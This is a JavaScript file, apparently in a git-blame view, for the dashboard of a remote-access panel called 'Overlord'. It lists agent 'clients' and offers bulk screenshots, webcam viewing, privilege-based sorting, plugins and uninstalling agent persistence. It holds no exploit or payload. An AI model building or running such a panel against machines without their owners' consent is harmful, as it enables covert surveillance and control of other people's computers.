</div>
<div>
<h3 class="font-semibold text-lg">Approve Plugin Needs</h3>
<p class="text-sm text-slate-400"> ${ escapePluginHtml ( pluginId ) } </p>
</div>
</div>
<p class="text-sm text-slate-300 mb-3">This plugin declares filesystem bridges that must be approved before loading.</p>
<div class="rounded-lg border border-slate-700 bg-slate-950/70 p-3 mb-3 space-y-2">
${ lines . length ? lines . map (( line ) => `<div class="text-xs font-mono text-slate-300"> ${ escapePluginHtml ( line ) } </div>` ). join ( "" ) : '<div class="text-sm text-slate-400">No filesystem needs declared.</div>' }
</div>
${ needsHash ? `<p class="text-xs text-slate-500 font-mono mb-4">Needs hash: ${ escapePluginHtml ( needsHash . slice ( 0 , 16 )) } ...</p>` : "" }
<div class="flex gap-3 justify-end">
<button id="plugin-needs-cancel" class="px-4 py-2 rounded-lg border border-slate-600 text-slate-300 hover:bg-slate-800">Cancel</button>
<button id="plugin-needs-approve" class="px-4 py-2 rounded-lg bg-amber-900/40 border border-amber-700/60 text-amber-100 hover:bg-amber-800/60">Approve and Load</button>
</div>
</div>
` ;
document . body . appendChild ( modal );
document . getElementById ( "plugin-needs-cancel" ) ? . addEventListener ( "click" , () => modal . remove ());
modal . addEventListener ( "click" , ( e ) => { if ( e . target === modal ) modal . remove (); });
document . getElementById ( "plugin-needs-approve" ) ? . addEventListener ( "click" , async () => {
const approveBtn = document . getElementById ( "plugin-needs-approve" );
approveBtn . disabled = true ;
approveBtn . textContent = "Approving..." ;
const approve = await fetch ( `/api/plugins/ ${ pluginId } /needs/approve` , { method : "POST" });
if ( ! approve . ok ) {
alert ( "Needs approval failed" );
modal . remove ();
return ;
}
const res = await fetch ( `/api/clients/ ${ clientId } /plugins/ ${ pluginId } /load` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ confirmed : true }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => null );
alert ( `Plugin load failed: ${ data ? . error || res . statusText } ` );
} else {
window . open ( `/plugins/ ${ pluginId } ?clientId= ${ clientId } ` , "_blank" , "noopener" );
}
modal . remove ();
});
}
2026-05-05 19:31:55 -05:00
function renderPluginMenu ( plugins ) {
const section = document . getElementById ( "plugin-section" );
const container = document . getElementById ( "plugin-menu" );
if ( ! section || ! container ) return ;
container . innerHTML = "" ;
const enabled = plugins . filter ( p => p . enabled !== false );
if ( ! enabled . length ) {
section . classList . add ( "hidden" );
return ;
}
section . classList . remove ( "hidden" );
for ( const plugin of enabled ) {
const btn = document . createElement ( "button" );
btn . className = "ctx-item ctx-plugin-item" ;
btn . dataset . plugin = plugin . id ;
btn . dataset . loaded = plugin . loaded ? "true" : "false" ;
if ( plugin . lastError ) {
btn . title = `Last error: ${ plugin . lastError } ` ;
}
const sig = plugin . signature ;
if ( sig && sig . signed && ! sig . valid ) {
btn . disabled = true ;
btn . setAttribute ( "aria-disabled" , "true" );
btn . title = "Plugin signature is invalid — cannot load" ;
}
const labelIcon = document . createElement ( "i" );
labelIcon . className =
"fa-solid fa-puzzle-piece ctx-icon " +
( plugin . loaded ? "text-emerald-400" : "text-fuchsia-400" );
btn . appendChild ( labelIcon );
const label = document . createElement ( "span" );
label . className = "ctx-plugin-label" ;
label . textContent = plugin . name || plugin . id ;
btn . appendChild ( label );
if ( sig ) {
const trustIcon = document . createElement ( "i" );
if ( sig . signed && ! sig . valid ) {
trustIcon . className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400" ;
trustIcon . title = "Invalid signature" ;
} else if ( sig . signed && sig . valid && sig . trusted ) {
trustIcon . className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400" ;
trustIcon . title = "Trusted" ;
} else if ( sig . signed && sig . valid && ! sig . trusted ) {
trustIcon . className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400" ;
trustIcon . title = "Signed but untrusted" ;
} else {
trustIcon . className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400" ;
trustIcon . title = "Unsigned" ;
}
btn . appendChild ( trustIcon );
}
const badge = document . createElement ( "span" );
badge . className = "ctx-plugin-badge" + ( plugin . loaded ? " is-loaded" : "" );
badge . textContent = plugin . loaded ? "loaded" : "available" ;
btn . appendChild ( badge );
container . appendChild ( btn );
if ( plugin . loaded ) {
const unloadBtn = document . createElement ( "button" );
unloadBtn . className = "ctx-item" ;
unloadBtn . dataset . pluginUnload = plugin . id ;
const unloadIcon = document . createElement ( "i" );
unloadIcon . className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400" ;
unloadBtn . appendChild ( unloadIcon );
const unloadText = document . createElement ( "span" );
unloadText . textContent = `Unload ${ plugin . name || plugin . id } ` ;
unloadBtn . appendChild ( unloadText );
container . appendChild ( unloadBtn );
}
}
}
2026-05-16 16:33:40 -05:00
function renderScriptMenu ( scripts ) {
const section = document . getElementById ( "script-section" );
const container = document . getElementById ( "script-menu" );
if ( ! section || ! container ) return ;
container . innerHTML = "" ;
if ( ! Array . isArray ( scripts ) || scripts . length === 0 ) {
section . classList . add ( "hidden" );
return ;
}
section . classList . remove ( "hidden" );
const sorted = scripts . slice (). sort (( a , b ) => ( b . updatedAt || 0 ) - ( a . updatedAt || 0 ));
for ( const script of sorted ) {
const btn = document . createElement ( "button" );
btn . className = "ctx-item ctx-plugin-item" ;
btn . dataset . scriptId = script . id ;
btn . title = ` ${ script . scriptType } — click to open in Scripts with this client preselected` ;
const labelIcon = document . createElement ( "i" );
labelIcon . className = "fa-solid fa-scroll ctx-icon text-cyan-400" ;
btn . appendChild ( labelIcon );
const label = document . createElement ( "span" );
label . className = "ctx-plugin-label" ;
label . textContent = script . name || script . id ;
btn . appendChild ( label );
const badge = document . createElement ( "span" );
badge . className = "ctx-plugin-badge" ;
badge . textContent = script . scriptType || "" ;
btn . appendChild ( badge );
container . appendChild ( btn );
}
}
let _scriptMenuCache = null ;
async function loadSavedScriptsForMenu () {
const section = document . getElementById ( "script-section" );
const container = document . getElementById ( "script-menu" );
if ( ! section || ! container ) return ;
if ( _scriptMenuCache ) renderScriptMenu ( _scriptMenuCache );
try {
const res = await fetch ( "/api/saved-scripts" );
if ( ! res . ok ) return ;
const data = await res . json ();
const scripts = Array . isArray ( data . items ) ? data . items : [];
_scriptMenuCache = scripts ;
renderScriptMenu ( scripts );
} catch {
// ignore — cached render (if any) is already showing
}
}
2026-03-05 00:04:26 -06:00
async function loadPluginsForClient ( clientId ) {
const section = document . getElementById ( "plugin-section" );
const container = document . getElementById ( "plugin-menu" );
if ( ! section || ! container ) return ;
container . innerHTML = "" ;
section . classList . add ( "hidden" );
2026-05-05 19:31:55 -05:00
const cached = getCachedPlugins ();
if ( cached && cached . length ) {
renderPluginMenu ( cached );
}
2026-03-05 00:04:26 -06:00
try {
const res = await fetch ( `/api/clients/ ${ clientId } /plugins` );
if ( ! res . ok ) return ;
const data = await res . json ();
const plugins = Array . isArray ( data . plugins ) ? data . plugins : [];
2026-05-05 19:31:55 -05:00
renderPluginMenu ( plugins );
2026-03-05 00:04:26 -06:00
} catch {
2026-05-05 19:31:55 -05:00
// ignore — cache render is already showing
2026-03-05 00:04:26 -06:00
}
}
2026-07-01 09:31:51 -05:00
window . addEventListener ( "storage" , ( event ) => {
if ( event . key !== PLUGIN_CACHE_INVALIDATION_KEY ) return ;
invalidatePluginCache ();
});
window . addEventListener ( "overlord:plugins-changed" , () => {
invalidatePluginCache ();
});
2026-05-09 20:47:44 -05:00
const PREF_LAYOUT_KEY = "overlord_layout" ;
let rendererSetLayout = null ;
function applyLayoutToggleUI ( layout ) {
document . querySelectorAll ( "#layout-toggle .layout-toggle-btn" ). forEach (( btn ) => {
const active = btn . dataset . layout === layout ;
btn . classList . toggle ( "is-active" , active );
btn . setAttribute ( "aria-pressed" , active ? "true" : "false" );
});
}
function setLayout ( layout ) {
const next = [ "rows" , "table" , "cards" ]. includes ( layout ) ? layout : "rows" ;
localStorage . setItem ( PREF_LAYOUT_KEY , next );
applyLayoutToggleUI ( next );
if ( rendererSetLayout ) rendererSetLayout ( next );
state . lastDigest = "" ;
2026-05-30 22:44:55 -05:00
if ( ! renderCachedClients ({ reorder : true , force : true })) {
loadWithOptions ({ force : true , reorder : true });
}
2026-05-09 20:47:44 -05:00
}
document . querySelectorAll ( "#layout-toggle .layout-toggle-btn" ). forEach (( btn ) => {
btn . addEventListener ( "click" , () => setLayout ( btn . dataset . layout ));
});
2026-05-30 22:44:55 -05:00
function loadDisplayFields () {
try {
const saved = JSON . parse ( localStorage . getItem ( PREF_DISPLAY_FIELDS_KEY ) || "null" );
if ( saved && typeof saved === "object" ) {
displayFields = { ... DEFAULT_DISPLAY_FIELDS , ... saved };
}
} catch {
displayFields = { ... DEFAULT_DISPLAY_FIELDS };
}
}
function syncDisplayFieldInputs () {
displayFieldsMenu ? . querySelectorAll ( "input[data-field]" ). forEach (( input ) => {
input . checked = displayFields [ input . dataset . field ] !== false ;
});
}
function saveDisplayFields () {
localStorage . setItem ( PREF_DISPLAY_FIELDS_KEY , JSON . stringify ( displayFields ));
}
function rerenderDisplayFields () {
state . lastDigest = "" ;
if ( ! renderCachedClients ({ reorder : true , force : true })) {
loadWithOptions ({ force : true , reorder : true });
}
}
loadDisplayFields ();
syncDisplayFieldInputs ();
displayFieldsMenu ? . addEventListener ( "change" , ( e ) => {
const input = e . target . closest ( "input[data-field]" );
if ( ! input ) return ;
displayFields [ input . dataset . field ] = input . checked ;
saveDisplayFields ();
rerenderDisplayFields ();
});
document . addEventListener ( "click" , ( e ) => {
document . querySelectorAll ( ".dashboard-menu[open]" ). forEach (( details ) => {
if ( ! details . contains ( e . target )) details . removeAttribute ( "open" );
});
});
document . querySelectorAll ( ".dashboard-menu" ). forEach (( details ) => {
details . addEventListener ( "toggle" , () => {
if ( ! details . open ) return ;
document . querySelectorAll ( ".dashboard-menu[open]" ). forEach (( other ) => {
if ( other !== details ) other . removeAttribute ( "open" );
});
});
});
2026-05-17 22:02:23 -05:00
let dashboardThumbnailLoader = null ;
2026-07-11 14:55:26 -05:00
function refreshDashboardThumbnail ( clientId ) {
if ( dashboardThumbnailLoader ? . refreshNow ( clientId )) {
return ;
}
// The loader initializes asynchronously; preserve manual refreshes made
// before it is ready.
requestThumbnail ( clientId );
}
2026-05-17 22:02:23 -05:00
async function isDashboardThumbnailEnabled () {
try {
const res = await fetch ( "/api/settings/thumbnails" , { credentials : "include" });
if ( ! res . ok ) return true ;
const data = await res . json ();
return data ? . thumbnails ? . dashboardEnabled !== false ;
} catch {
return true ;
}
}
async function setupDashboardThumbnailLoader () {
if ( ! grid || dashboardThumbnailLoader ) return ;
if ( ! ( await isDashboardThumbnailEnabled ())) return ;
const stored = Number ( localStorage . getItem ( "overlord_dash_thumb_interval_ms" ));
const refreshIntervalMs = Number . isFinite ( stored ) && stored >= 2000 ? stored : 15_000 ;
dashboardThumbnailLoader = new ThumbnailLoader ({
refreshIntervalMs ,
rootMargin : "300px" ,
threshold : 0.05 ,
});
const wire = ( el ) => {
const id = el . dataset . thumbClient ;
if ( ! id ) return ;
if ( el . dataset . thumbOnline !== "1" ) return ;
const v = Number ( el . dataset . thumbVersion ) || 0 ;
dashboardThumbnailLoader . observe ( el , id , v );
};
const unwire = ( el ) => dashboardThumbnailLoader . unobserve ( el );
const mo = new MutationObserver (( mutations ) => {
for ( const m of mutations ) {
m . addedNodes . forEach (( n ) => {
if ( ! ( n instanceof HTMLElement )) return ;
if ( n . matches ? .( "[data-thumb-host]" )) wire ( n );
n . querySelectorAll ? .( "[data-thumb-host]" ). forEach ( wire );
});
m . removedNodes . forEach (( n ) => {
if ( ! ( n instanceof HTMLElement )) return ;
if ( n . matches ? .( "[data-thumb-host]" )) unwire ( n );
n . querySelectorAll ? .( "[data-thumb-host]" ). forEach ( unwire );
});
}
});
mo . observe ( grid , { childList : true , subtree : true });
grid . querySelectorAll ( "[data-thumb-host]" ). forEach ( wire );
}
2026-03-05 00:04:26 -06:00
function initializeRenderer () {
2026-05-30 22:44:55 -05:00
if ( rendererInitialized ) return ;
rendererInitialized = true ;
2026-05-09 20:47:44 -05:00
const savedLayout = localStorage . getItem ( PREF_LAYOUT_KEY ) || "rows" ;
if ( grid ) grid . dataset . layout = [ "rows" , "table" , "cards" ]. includes ( savedLayout ) ? savedLayout : "rows" ;
applyLayoutToggleUI ( grid ? . dataset . layout || "rows" );
const { renderMerge , setLayout : rSetLayout } = createRenderer ({
2026-03-05 00:04:26 -06:00
grid ,
totalPill ,
pageLabel ,
openMenu : ( id , x , y ) => {
2026-03-06 18:32:16 -06:00
applyMenuSupportRules ( id );
2026-05-15 18:29:25 -05:00
const card = getClientCard ( id );
const notificationsMuted = card ? . dataset . notificationsMuted === "true" ;
openMenu ( id , x , y , setContext , { isOnline : isClientOnline ( id ), notificationsMuted });
2026-03-05 00:04:26 -06:00
loadPluginsForClient ( id );
2026-05-16 16:33:40 -05:00
loadSavedScriptsForMenu ();
2026-03-05 00:04:26 -06:00
},
openModal ,
requestPreview ,
2026-07-11 14:55:26 -05:00
requestThumbnail : refreshDashboardThumbnail ,
pingClient : pingClientNow ,
2026-06-12 10:20:02 -05:00
onOpenWebcam : ( id ) => window . open ( `/webcam?clientId= ${ encodeURIComponent ( id ) } ` , "_blank" , "noopener" ),
2026-06-04 20:41:10 -05:00
onMacPermissionRequest : ( id , _card , permissionKey ) => requestMacPermissions ( id , permissionKey ),
2026-06-04 20:54:33 -05:00
onMacPermissionRefresh : ( id ) => requestMacPermissions ( id , "" , { refreshOnly : true }),
onMacPermissionApply : ( id ) => applyMacPermissionChanges ( id ),
2026-03-05 00:04:26 -06:00
userRole : currentUser ? . role ,
2026-06-04 20:41:10 -05:00
getServerVersion : () => currentServerVersion ,
2026-05-30 22:44:55 -05:00
getDisplayFields : () => displayFields ,
2026-06-25 11:45:28 -05:00
getDashboardBadges : getDashboardBadgesForClient ,
2026-03-05 00:04:26 -06:00
});
2026-05-09 20:47:44 -05:00
rendererSetLayout = rSetLayout ;
2026-05-31 14:27:59 -05:00
registerRenderer (( data , options ) => {
renderMerge ( data , options );
2026-07-09 13:55:36 -05:00
if ( isUnfilteredClientView ()) {
updateDashboardStatsFromClients ( data );
}
2026-06-25 11:45:28 -05:00
if ( ! options ? . fromPluginDashboard ) {
refreshDashboardPluginContributions ( data ? . items || []);
}
2026-05-31 14:27:59 -05:00
});
initDashboardStats ();
2026-05-17 22:02:23 -05:00
setupDashboardThumbnailLoader ();
2026-04-14 19:38:27 -05:00
refreshGroupFilter ();
2026-03-05 00:04:26 -06:00
loadWithOptions ();
startAutoRefresh ();
2026-05-30 22:44:55 -05:00
if ( typeof anime !== "undefined" && ! document . documentElement . classList . contains ( "large-client-set" )) {
2026-03-05 00:04:26 -06:00
anime
. timeline ({ easing : "easeOutQuad" })
. add ({
2026-04-05 21:32:18 -05:00
targets : "main > div > div:first-child" ,
2026-03-05 00:04:26 -06:00
opacity : [ 0 , 1 ],
2026-04-05 21:32:18 -05:00
translateY : [ 15 , 0 ],
duration : 500 ,
2026-03-05 00:04:26 -06:00
})
. add (
{
targets : "main > div > div:nth-child(2)" ,
opacity : [ 0 , 1 ],
translateY : [ 15 , 0 ],
duration : 500 ,
},
"-=350" ,
);
}
}
2026-07-09 13:55:36 -05:00
function isUnfilteredClientView () {
return ! state . searchTerm &&
( state . filterStatus || "all" ) === "all" &&
( state . filterOs || "all" ) === "all" &&
( state . filterCountry || "all" ) === "all" &&
( state . filterGroup || "all" ) === "all" &&
( state . filterWebcam || "all" ) === "all" ;
}
2026-03-05 00:04:26 -06:00
if ( logoutBtn && ! logoutBtn . dataset . boundLogout ) {
logoutBtn . dataset . boundLogout = "true" ;
logoutBtn . addEventListener ( "click" , async () => {
if ( ! confirm ( "Are you sure you want to logout?" )) return ;
try {
const res = await fetch ( "/api/logout" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
});
if ( res . ok ) {
window . location . href = "/" ;
} else {
alert ( "Logout failed. Please try again." );
}
} catch ( err ) {
console . error ( "Logout error:" , err );
alert ( "Logout failed. Please try again." );
}
});
}
wireModalClose ();
const debouncedSearch = debounce (() => {
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
}, 200 );
searchInput ? . addEventListener ( "input" , ( e ) => {
state . searchTerm = e . target . value ;
debouncedSearch ();
});
sortSelect ? . addEventListener ( "change" , ( e ) => {
state . sort = e . target . value ;
2026-03-30 22:24:26 -05:00
localStorage . setItem ( PREF_SORT_KEY , state . sort );
2026-03-05 00:04:26 -06:00
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
filterStatusSelect ? . addEventListener ( "change" , ( e ) => {
state . filterStatus = e . target . value ;
2026-03-30 22:21:50 -05:00
localStorage . setItem ( PREF_FILTER_STATUS_KEY , state . filterStatus );
2026-03-05 00:04:26 -06:00
if ( state . filterStatus === "online" ) {
if ( showOfflineToggle ) showOfflineToggle . checked = false ;
} else {
lastNonOnlineStatus = state . filterStatus ;
if ( showOfflineToggle ) showOfflineToggle . checked = true ;
}
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
filterOsSelect ? . addEventListener ( "change" , ( e ) => {
state . filterOs = e . target . value ;
2026-03-30 22:24:26 -05:00
localStorage . setItem ( PREF_FILTER_OS_KEY , state . filterOs );
2026-03-05 00:04:26 -06:00
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
2026-04-14 19:38:27 -05:00
filterGroupSelect ? . addEventListener ( "change" , ( e ) => {
state . filterGroup = e . target . value ;
localStorage . setItem ( PREF_FILTER_GROUP_KEY , state . filterGroup );
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true , reorder : true });
});
2026-06-12 10:20:02 -05:00
filterWebcamSelect ? . addEventListener ( "change" , ( e ) => {
state . filterWebcam = e . target . value ;
localStorage . setItem ( PREF_FILTER_WEBCAM_KEY , state . filterWebcam );
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true , reorder : true });
});
2026-04-19 00:20:35 -05:00
import ( "./country-picker.js" ). then (({ initCountryPicker }) => {
initCountryPicker (( code ) => {
state . filterCountry = code ;
localStorage . setItem ( PREF_FILTER_COUNTRY_KEY , code );
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true , reorder : true });
}, localStorage . getItem ( PREF_FILTER_COUNTRY_KEY ) || "all" );
});
2026-03-17 00:11:25 -05:00
2026-03-30 22:21:50 -05:00
( function restoreFilterStatus () {
2026-03-30 22:24:26 -05:00
const savedStatus = localStorage . getItem ( PREF_FILTER_STATUS_KEY );
const validStatuses = [ "all" , "online" , "offline" ];
if ( savedStatus && validStatuses . includes ( savedStatus )) {
state . filterStatus = savedStatus ;
if ( filterStatusSelect ) filterStatusSelect . value = savedStatus ;
if ( showOfflineToggle ) showOfflineToggle . checked = savedStatus !== "online" ;
if ( savedStatus !== "online" ) lastNonOnlineStatus = savedStatus ;
}
const savedSort = localStorage . getItem ( PREF_SORT_KEY );
2026-06-12 10:20:02 -05:00
const validSorts = [ "stable" , "last_seen_desc" , "host_asc" , "ping_asc" , "ping_desc" , "country_asc" , "country_desc" , "group_asc" , "group_desc" , "admin_first" , "elevated_first" ];
2026-03-30 22:24:26 -05:00
if ( savedSort && validSorts . includes ( savedSort )) {
state . sort = savedSort ;
if ( sortSelect ) sortSelect . value = savedSort ;
}
const savedOs = localStorage . getItem ( PREF_FILTER_OS_KEY );
if ( savedOs ) {
state . filterOs = savedOs ;
if ( filterOsSelect ) filterOsSelect . value = savedOs ;
}
const savedCountry = localStorage . getItem ( PREF_FILTER_COUNTRY_KEY );
if ( savedCountry ) {
state . filterCountry = savedCountry ;
2026-03-30 22:21:50 -05:00
}
2026-04-14 19:38:27 -05:00
const savedGroup = localStorage . getItem ( PREF_FILTER_GROUP_KEY );
if ( savedGroup ) {
state . filterGroup = savedGroup ;
if ( filterGroupSelect ) filterGroupSelect . value = savedGroup ;
}
2026-06-12 10:20:02 -05:00
const savedWebcam = localStorage . getItem ( PREF_FILTER_WEBCAM_KEY );
if ( savedWebcam && [ "all" , "available" , "none" ]. includes ( savedWebcam )) {
state . filterWebcam = savedWebcam ;
if ( filterWebcamSelect ) filterWebcamSelect . value = savedWebcam ;
}
2026-03-30 22:21:50 -05:00
})();
2026-03-05 00:04:26 -06:00
showOfflineToggle ? . addEventListener ( "change" , ( e ) => {
if ( e . target . checked ) {
state . filterStatus = lastNonOnlineStatus || "all" ;
} else {
if ( state . filterStatus !== "online" ) {
lastNonOnlineStatus = state . filterStatus ;
}
state . filterStatus = "online" ;
}
2026-03-30 22:21:50 -05:00
localStorage . setItem ( PREF_FILTER_STATUS_KEY , state . filterStatus );
2026-03-05 00:04:26 -06:00
if ( filterStatusSelect ) {
filterStatusSelect . value = state . filterStatus ;
}
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
function updateBulkToolbar () {
selectedCountSpan . textContent = selectedClients . size ;
if ( selectedClients . size > 0 ) {
bulkToolbar ? . classList . remove ( "hidden" );
} else {
bulkToolbar ? . classList . add ( "hidden" );
}
}
function toggleClientSelection ( clientId ) {
const checkbox = document . querySelector (
`.client-checkbox[data-id=" ${ clientId } "]` ,
);
if ( ! checkbox ) return ;
if ( checkbox . checked ) {
selectedClients . add ( clientId );
} else {
selectedClients . delete ( clientId );
}
updateBulkToolbar ();
}
function syncSelectionState () {
document . querySelectorAll ( ".client-checkbox" ). forEach (( cb ) => {
const id = cb . dataset . id ;
if ( ! id ) return ;
cb . checked = selectedClients . has ( id );
});
updateBulkToolbar ();
}
bulkClearBtn ? . addEventListener ( "click" , () => {
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
});
clearSelectionBtn ? . addEventListener ( "click" , () => {
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
});
selectAllBtn ? . addEventListener ( "click" , () => {
document
. querySelectorAll ( ".client-checkbox:not(:disabled)" )
. forEach (( cb ) => {
cb . checked = true ;
if ( cb . dataset . id ) {
selectedClients . add ( cb . dataset . id );
}
});
updateBulkToolbar ();
});
bulkScreenshotBtn ? . addEventListener ( "click" , async () => {
if ( ! confirm ( `Take screenshot on ${ selectedClients . size } client(s)?` )) return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
const ok = await sendCommand ( clientId , "screenshot" );
if ( ok ) success ++ ;
}
alert ( `Screenshots sent to ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 400 );
});
bulkDisconnectBtn ? . addEventListener ( "click" , async () => {
if (
! confirm (
`Disconnect ${ selectedClients . size } client(s)? This will close their connections.` ,
)
)
return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
2026-04-13 20:02:58 -05:00
markManualDisconnect ( clientId );
2026-03-05 00:04:26 -06:00
const ok = await sendCommand ( clientId , "disconnect" );
if ( ok ) success ++ ;
}
alert ( `Disconnected ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 1000 );
});
bulkUninstallBtn ? . addEventListener ( "click" , async () => {
if (
! confirm (
`Uninstall agent from ${ selectedClients . size } client(s)?\n\nThis will remove all persistence mechanisms and terminate the agents. This action cannot be undone.` ,
)
)
return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
const ok = await sendCommand ( clientId , "uninstall" );
if ( ok ) success ++ ;
}
alert ( `Uninstall sent to ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 1000 );
});
2026-04-14 21:56:18 -05:00
bulkGroupBtn ? . addEventListener ( "click" , () => {
if ( selectedClients . size === 0 ) return ;
openBulkGroupPicker ([... selectedClients ]);
});
2026-05-15 18:29:25 -05:00
async function bulkSetMuted ( muted ) {
if ( selectedClients . size === 0 ) return ;
const ids = [... selectedClients ];
try {
const res = await fetch ( "/api/clients/bulk-notifications-muted" , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ clientIds : ids , muted }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update notifications mute state" );
return ;
}
const data = await res . json (). catch (() => ({}));
const action = muted ? "Muted" : "Unmuted" ;
alert ( ` ${ action } notifications for ${ data . updated ?? 0 } / ${ ids . length } clients` );
} catch ( err ) {
console . error ( err );
alert ( "Failed to update notifications mute state" );
return ;
}
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
bulkMuteBtn ? . addEventListener ( "click" , () => bulkSetMuted ( true ));
bulkUnmuteBtn ? . addEventListener ( "click" , () => bulkSetMuted ( false ));
2026-04-14 21:56:18 -05:00
async function openBulkGroupPicker ( clientIds ) {
const groups = await loadGroups ();
const overlay = document . createElement ( "div" );
overlay . className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60" ;
overlay . addEventListener ( "click" , ( e ) => { if ( e . target === overlay ) overlay . remove (); });
const modal = document . createElement ( "div" );
modal . className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-6 w-[400px] max-h-[80vh] flex flex-col gap-4" ;
modal . innerHTML = `
<h3 class="text-lg font-semibold text-slate-100 flex items-center gap-2"><i class="fa-solid fa-layer-group text-blue-400"></i> Set Group for ${ clientIds . length } client(s)</h3>
<div class="bulk-group-list flex flex-col gap-1 overflow-y-auto max-h-60"></div>
<div class="border-t border-slate-700 pt-3">
<p class="text-xs text-slate-400 mb-2">Create new group</p>
<div class="flex gap-2">
<input type="text" class="group-new-name flex-1 bg-slate-800 border border-slate-700 rounded-lg px-3 py-2 text-sm text-slate-100 outline-none focus:border-blue-500" placeholder="Group name" maxlength="64" />
<input type="color" class="group-new-color w-10 h-10 rounded-lg border border-slate-700 bg-slate-800 cursor-pointer" value="#3b82f6" />
<button class="group-create-btn px-3 py-2 rounded-lg bg-blue-600 hover:bg-blue-500 text-white text-sm font-medium">Create</button>
</div>
</div>
` ;
const listEl = modal . querySelector ( ".bulk-group-list" );
async function applyGroup ( groupId ) {
overlay . remove ();
try {
const res = await fetch ( "/api/clients/bulk-group" , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ clientIds , groupId }),
});
if ( ! res . ok ) {
const d = await res . json (). catch (() => ({}));
alert ( d . error || "Failed to set group" );
return ;
}
} catch ( err ) {
console . error ( err );
alert ( "Failed to set group" );
return ;
}
selectedClients . clear ();
document . querySelectorAll ( ".client-checkbox" ). forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
refreshGroupFilter ();
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
function renderList () {
listEl . innerHTML = "" ;
const noneBtn = document . createElement ( "button" );
noneBtn . className = "w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors text-slate-300 hover:bg-slate-800" ;
noneBtn . innerHTML = '<i class="fa-solid fa-xmark text-slate-500"></i> No Group' ;
noneBtn . addEventListener ( "click" , () => applyGroup ( null ));
listEl . appendChild ( noneBtn );
groups . forEach (( g ) => {
const btn = document . createElement ( "button" );
btn . className = "w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors text-slate-300 hover:bg-slate-800" ;
btn . innerHTML = `<span class="inline-block w-3 h-3 rounded-full flex-shrink-0" style="background: ${ g . color } "></span> ${ escapeHtml ( g . name ) } ` ;
btn . addEventListener ( "click" , () => applyGroup ( g . id ));
listEl . appendChild ( btn );
});
}
renderList ();
const createBtn = modal . querySelector ( ".group-create-btn" );
createBtn . addEventListener ( "click" , async () => {
const nameInput = modal . querySelector ( ".group-new-name" );
const colorInput = modal . querySelector ( ".group-new-color" );
const name = nameInput . value . trim ();
const color = colorInput . value ;
if ( ! name ) { nameInput . focus (); return ; }
try {
const res = await fetch ( "/api/groups" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ name , color }),
});
if ( ! res . ok ) {
const d = await res . json (). catch (() => ({}));
alert ( d . error || "Failed to create group" );
return ;
}
const newGroup = await res . json ();
groups . push ( newGroup );
nameInput . value = "" ;
renderList ();
refreshGroupFilter ();
} catch ( err ) {
console . error ( err );
alert ( "Failed to create group" );
}
});
overlay . appendChild ( modal );
document . body . appendChild ( overlay );
modal . querySelector ( ".group-new-name" ). addEventListener ( "keydown" , ( e ) => {
if ( e . key === "Enter" ) createBtn . click ();
});
}
2026-03-05 00:04:26 -06:00
window . toggleClientSelection = toggleClientSelection ;
window . isClientSelected = ( clientId ) => selectedClients . has ( clientId );
window . syncClientSelection = syncSelectionState ;
2026-03-06 12:43:42 -06:00
window . removeClientFromDashboard = async ( clientId ) => {
if ( ! clientId ) return false ;
try {
